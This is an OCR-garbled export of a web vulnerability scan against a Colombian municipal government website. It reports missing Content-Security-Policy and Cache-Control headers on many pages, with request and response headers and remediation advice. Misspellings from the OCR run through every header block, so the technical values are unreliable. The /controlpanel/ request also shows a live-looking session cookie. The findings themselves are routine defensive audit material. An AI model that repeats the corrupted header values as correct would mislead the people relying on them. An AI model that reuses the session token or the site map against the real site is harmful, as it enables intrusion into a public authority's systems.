https://chia-cundinamarca.gov.co/cache/

Identification
OUTPUT

https://chi a-cundi nanar ca. gov. co/ cache/ has no Content Security Policy defined.

HTTP Info

REQUEST MADE
GET https://chia-cundi nanar ca. gov. co/ cache/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate
Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mozillal/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM,
Sec- Ch-Ua: " Chrom unt;v="124", "Headl essChrone";v="124",

Sec- Ch- Ua- Mobil e: 20

Sec- Ch-Ua-Platform "Linux"
Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 02:08:25 GVl

Cont ent - Type: text/htn

Content-Length: 31

Connection: keep-alive

Last-Mdified: Sun, 11 Dec 2016 21:51:10 GVl
Accept - Ranges: bytes

Web Application Scanning Detailed Scan Export:
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“Not - A. Brand"; v="99"

<https://chi a- cundi namar ca. gov. co/ web
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li ke Gecko) Chrone/ 124.0.6367.207 Safari/537.36
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Missing ‘Cache-Control' Header

VULNERABILITY PLUGIN ID 112553

Description

The HTTP 'Cache-Control header is used to specify directives for caching mechanisms.

The server did not return or returned an invalid '‘Cache-Control header which means page containing sensitive information
(password, credit card, personal data, social security number, etc) could be stored on client side disk and then be exposed to
unauthorised persons. This URL is flagged as a specific example.

Solution

Configure your web server to include a 'Cache-Control header with appropriate directives. If page contains sensitive
information 'Cache-Control' value should be 'no-store'and '‘Pragma’ header value should be 'no-cache'.

See Also

https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cache-Control

https://www.owasp.org/index.php/Testing_for_Browser_cache_weakness_(0TG-AUTHN-006)

Plugin Details

PUBLICATION DATE
MODIFICATION DATE
FAMILY

SEVERITY

PLUGIN ID

Risk Information

CVSSV4 BASE SCORE
CVSSV4 VECTOR
CVSSV3 BASE SCORE
CVSSV3 VECTOR
CVSS BASE SCORE
CVSSVECTOR

Reference Information

CWE
WASC
OWASP
CVE
BID

2018-02-15T00:00:00+00:00
2024-03-25T00:00:00+00:00
HTTP Security Header

Low

112553

2.1
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
3.7

CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I1:N/A:N

2.6

CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N

525
Application Misconfiguration
2017-AB, 2021-A4, 2013-A5, 2010-A6, 2023-API8, 2013-API7

Web Application Scanning Detailed Scan Export:
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https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cache-Control
https://www.owasp.org/index.php/Testing_for_Browser_cache_weakness_(OTG-AUTHN-006)

Missing ‘Cache-Control' Header Instances (25)

VULNERABILITY PLUGIN ID 112553

INSTANCE

https://chia-cundinamarca.gov.co/web/directorio/

Identification

OUTPUT
htt ps://chi a- cundi nanar ca. gov. co/ web/ di rectori o/ has no Cache Control header defined.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ di rectori o/

REQUEST HEADERS

Referer: https://chia-cundi namarca. gov. co/ web/

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec-Fetch-Site: same-origin

Sec- Fetch-User: 2?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) Appl eWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec-Ch-Ua: "Chrom uni';v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mbbil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0. 5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 00:46:26 GVII

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ pages/ 566>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
/ web/ ?p=566>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC- APl - ORIG N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/web/2023/12/29/informacion-de-la-entidad/

Identification

OUTPUT
htt ps://chi a-cundi namar ca. gov. co/ web/ 2023/ 12/ 29/ i nf or maci on-de- | a- enti dad/ has no Cache Control header defi ned.

HTTP Info

REQUEST MADE
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https://chia-cundinamarca.gov.co/web/directorio/
https://chia-cundinamarca.gov.co/web/2023/12/29/informacion-de-la-entidad/

GET https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 29/ i nf or maci on- de- | a- ent i dad/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 2?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobi l e: 20

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; g=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: ngi nx

Date: Thu, 19 Dec 2024 03:11:24 GMVI

Cont ent - Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ posts/ 632>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
/web/ ?p=632>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC- APl - ORIGA N: https://chia-cundi nanar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE
https://chia-cundinamarca.gov.co/web/2023/12/29/secretarias/

Identification

OUTPUT
https://chi a- cundi nanar ca. gov. co/ web/ 2023/ 12/ 29/ secret ari as/ has no Cache Control header defi ned.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 29/ secret ari as/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch- User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mbbi l e: 2?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: ngi nx

Date: Thu, 19 Dec 2024 03:25:45 GMVI
Content - Type: text/htm; charset=UTF-8
Transfer - Encodi ng: chunked

Connection: keep-alive

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/2023/12/29/secretarias/

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ posts/ 653>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co

/ web/ ?p=653>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tri be/ events/vl/

X-TEC- APl - ORI G N: https://chia-cundi nanar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE

https://chia-cundinamarca.gov.co/web/participa/

Identification

OUTPUT
https://chi a- cundi nanar ca. gov. co/ web/ partici pa/ has no Cache Control header defi ned.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ parti ci pa/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: ?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mdzilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTM., |ike Gecko) Chrome/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobbil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 03:39:13 GVII

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ pages/ 21196>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
[/ web/ ?p=21196>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tribe/ events/vl/

X-TEC- APl - ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE
https://chia-cundinamarca.gov.co/web/2024/05/10/tramite-para-solicitar-certificados-de-residencia-en-el-territorio-de-

chia-y-personerias-juridicas/

Identification

OUTPUT
https://chi a- cundi nanar ca. gov. co/ web/ 2024/ 05/ 10/ trami te- para-solicitar-certificados-de-resi dencia-en-el-territorio-de-
chi a-y-personerias-juridicas/ has no Cache Control header defined.

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/participa/
https://chia-cundinamarca.gov.co/web/2024/05/10/tramite-para-solicitar-certificados-de-residencia-en-el-territorio-de-chia-y-personerias-juridicas/
https://chia-cundinamarca.gov.co/web/2024/05/10/tramite-para-solicitar-certificados-de-residencia-en-el-territorio-de-chia-y-personerias-juridicas/

HTTP Info

REQUEST MADE
GET https://chia-cundi namarca. gov. co/ web/ 2024/ 05/ 10/ tranite-para-solicitar-certificados-de-residencia-en-el-territorio-
de- chi a-y- personeri as-juridicas/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec-Fetch-Site: none

Sec- Fetch-User: 2?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mobil e: 20

Sec- Ch-Ua-Platform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 05:04: 12 GV

Cont ent - Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/ wp-j son/ wp/ v2/ posts/ 7526>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
/web/ ?p=7526>; rel =shortlink

X- TEC- APl - VERSI O\ v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tri be/ events/vl/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/web/2023/12/29/control-interno-disciplinario/

Identification

OUTPUT
https://chi a-cundi namar ca. gov. co/ web/ 2023/ 12/ 29/ control -i nterno-di sci plinari o/ has no Cache Control header defined.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 29/ control -i nt er no-di sci pl i nari o/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec-Fetch-Site: none

Sec- Fetch-User: 2?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chromiunt;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mbbi l e: ?0

Sec- Ch-Ua-Platform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/2023/12/29/control-interno-disciplinario/

HTTP/ 1.1 200 K

Server: ngi nx

Date: Thu, 19 Dec 2024 05:37:32 GV

Content - Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept - Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ posts/ 616>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
[/ web/ ?p=616>; rel =shortlink

X- TEG- APl - VERSI ON:  v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/web/2024/09/16/conozca-los-canales-de-atencion-de-las-empresas-prestadoras-de-
servicios-publicos/

Identification

QUTPUT
https://chi a- cundi nanar ca. gov. co/ web/ 2024/ 09/ 16/ conozca- | os- canal es- de- at enci on- de-| as- enpr esas- pr est ador as- de-
servicios-publicos/ has no Cache Control header defined.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 09/ 16/ conozca- | os- canal es- de- at enci on- de- | as- enpr esas- pr est ador as- de-
servici os- publicos/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mzillal/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mobbil e: 20

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 05:51:53 GVl

Cont ent - Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel="https://api.w. org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ posts/ 19440>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
[/ web/ ?p=19440>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/2024/09/16/conozca-los-canales-de-atencion-de-las-empresas-prestadoras-de-servicios-publicos/
https://chia-cundinamarca.gov.co/web/2024/09/16/conozca-los-canales-de-atencion-de-las-empresas-prestadoras-de-servicios-publicos/

https://chia-cundinamarca.gov.co/web/2024/08/24/paso-a-paso-para-acceder-a-su-estado-de-cuenta-liquidacion-y-
factura-de-los-impuestos-predial-e-ica/

Identification

QUTPUT
https://chi a- cundi nanar ca. gov. co/ web/ 2024/ 08/ 24/ paso- a- paso- par a- acceder - a- su- est ado- de- cuent a- | i qui daci on-y-factura-de-
| 0s-i mpuest os- predi al -e-i ca/ has no Cache Control header defined.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 08/ 24/ paso- a- paso- par a- acceder - a- su- est ado- de- cuent a- | i qui daci on-y-
factura-de-|os-inpuestos-predial-e-ical/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Myzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: ngi nx

Date: Thu, 19 Dec 2024 06:04:16 GV

Cont ent - Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept - Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ posts/ 18365>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
[/ web/ ?p=18365>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tri be/ events/vl/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE
https://chia-cundinamarca.gov.co/web/2024/10/24/comienza-el-censo-a-bares-y-establecimientos-nocturnos/

Identification

OUTPUT
htt ps://chi a- cundi nanar ca. gov. co/ web/ 2024/ 10/ 24/ com enza- el - censo- a- bar es-y- est abl eci m ent os- noct urnos/ has no Cache
Control header defined.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 10/ 24/ com enza- el - censo- a- bar es- y- est abl eci m ent os- noct ur nos/

REQUEST HEADERS
Sec- Fet ch- Dest: docunent
Sec- Fet ch- Mbde: navi gate

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/2024/08/24/paso-a-paso-para-acceder-a-su-estado-de-cuenta-liquidacion-y-factura-de-los-impuestos-predial-e-ica/
https://chia-cundinamarca.gov.co/web/2024/08/24/paso-a-paso-para-acceder-a-su-estado-de-cuenta-liquidacion-y-factura-de-los-impuestos-predial-e-ica/
https://chia-cundinamarca.gov.co/web/2024/10/24/comienza-el-censo-a-bares-y-establecimientos-nocturnos/

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mzillal/5.0 (X11; Linux x86_64) Appl eWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"

Sec- Ch- Ua- Mbbil e: ?0

Sec- Ch-Ua-Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 06:43:09 GVl

Cont ent - Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ post s/ 20823>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
/ web/ ?p=20823>; rel =shortlink

X- TEC- API - VERSI O\ v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/v1/

X-TEC-API - ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE
https://chia-cundinamarca.gov.co/web/2024/12/18/chia-se-destaca-en-gestion-social-gracias-a-blanca-donoso/

Identification

OUTPUT
https://chi a-cundi namar ca. gov. co/ web/ 2024/ 12/ 18/ chi a- se- dest aca- en- gesti on-soci al - graci as- a- bl anca-donoso/ has no Cache
Control header defined.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 12/ 18/ chi a- se- dest aca- en- gesti on-soci al - graci as- a- bl anca- donoso/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 2?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chromiunt;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mbbi l e: 2?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: ngi nx

Date: Thu, 19 Dec 2024 07:08:06 GMVI

Cont ent - Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov.co/web
[ wp-j son/ wp/ v2/ post s/ 22424>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
[ web/ ?p=22424>; rel =shortlink

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/2024/12/18/chia-se-destaca-en-gestion-social-gracias-a-blanca-donoso/

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/
X-TEC- APl - ORIG N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE

https://chia-cundinamarca.gov.co/web/alcaldia/

Identification

OUTPUT
https://chi a-cundi nanar ca. gov. co/ web/ al cal di a/ has no Cache Control header defined.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ al cal di a/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) Appl eWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec-Ch-Ua: "Chrom uni';v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mbbi l e: ?0

Sec- Ch-Ua-Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 02:45:09 GVII

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ pages/ 49>, rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
/web/ ?p=49>; rel =shortlink

X- TEC- APl - VERSI ON:  v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tri be/ events/vl/

X-TEC- APl - ORIG N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE

https://chia-cundinamarca.gov.co/web/2023/12/30/7-1-4-programa-de-gestion-documental/

Identification

OUTPUT
https://chi a- cundi namar ca. gov. co/ web/ 2023/ 12/ 30/ 7- 1- 4- pr ogr ana- de- gest i on-docunent al / has no Cache Control header
def i ned.

HTTP Info

REQUEST MADE

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/alcaldia/
https://chia-cundinamarca.gov.co/web/2023/12/30/7-1-4-programa-de-gestion-documental/

GET https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 30/ 7- 1- 4- pr ogr ana- de- gest i on- docunent al /

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 2?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobi l e: 20

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; g=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: ngi nx

Date: Thu, 19 Dec 2024 05:16:57 GVI

Cont ent - Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ posts/ 805>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
/ web/ ?p=805>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC- APl - ORIGA N: https://chia-cundi nanar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE

https://chia-cundinamarca.gov.co/controlpanel/

Identification

OUTPUT
https://chi a- cundi nanar ca. gov. co/ control panel/ has no Cache Control header defined.

HTTP Info

REQUEST MADE
GET /control panel / HTTP/ 1.1

REQUEST HEADERS

Host: chi a- cundi namar ca. gov. co

Accept - Encodi ng: gzip, deflate, br

User-Agent: Mozilla/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Accept: */*

Accept - Language: en-US, en; q=0.5

Cooki e: googtrans=/es/it; cpsession=%3aHqQ 26kRGUsy2Bt J9%2c4b043945560f da9514b19964b4b5be42

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 01:57:07 GVl
Content - Type: text/htni
Transfer-Encodi ng: chunked
Connection: keep-alive

Vary: Accept - Encodi ng

Cont ent - Encodi ng: gzip

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/controlpanel/

INSTANCE
https://chia-cundinamarca.gov.co/web/2023/12/29/alcalde/

Identification

OUTPUT
https://chi a-cundi nanar ca. gov. co/ web/ 2023/ 12/ 29/ al cal de/ has no Cache Control header defined.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 29/ al cal de/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chromiunt;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mbbi | e: 2?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; g=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 02:58:37 GVl

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept - Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ posts/ 623>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
[/ web/ ?p=623>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC- APl - ORIG N: https://chia-cundi nanar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/web/2023/12/28/datos-abiertos/

Identification

OUTPUT
https://chi a- cundi nanar ca. gov. co/ web/ 2023/ 12/ 28/ dat os- abi ert os/ has no Cache Control header defined.

HTTP Info

